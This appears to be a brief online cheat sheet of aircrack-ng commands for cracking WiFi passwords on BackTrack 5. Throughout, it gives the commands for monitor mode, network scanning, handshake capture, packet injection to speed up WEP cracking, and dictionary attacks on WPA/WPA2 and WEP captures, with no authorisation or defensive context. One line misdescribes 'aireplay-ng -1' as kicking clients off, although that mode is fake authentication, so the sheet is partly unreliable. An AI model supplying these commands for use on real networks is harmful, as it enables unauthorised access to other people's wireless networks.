Basic WiFi Hacking Command In Back Track 5

=>airmon-ng
This backtrack command displays the wireless interfaces.
=>airmon-ng start wlan0
This command starts monitoring mode on a wi-fi device.
=>airodump-ng mon0
This command shows all of the wi-fi networks online.
=>airodump-ng -c (channel) -w (filename) –bssid (bssid) mon0
This command specifies the wi-fi device to concentrate to one network.
=>aireplay-ng -1 0 -a (bssid) mon0
This command kicks off clients that are connected, and gets the handshake.
=>aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0
This command boosts the data, when cracking WEP.
=> aircrack-ng -w (dictionary) (wpa handshake)
This command is used when cracking WPA or WPA2 networks.

=>aircrack-ng (filename)*.cap
This command is used when cracking WEP networks.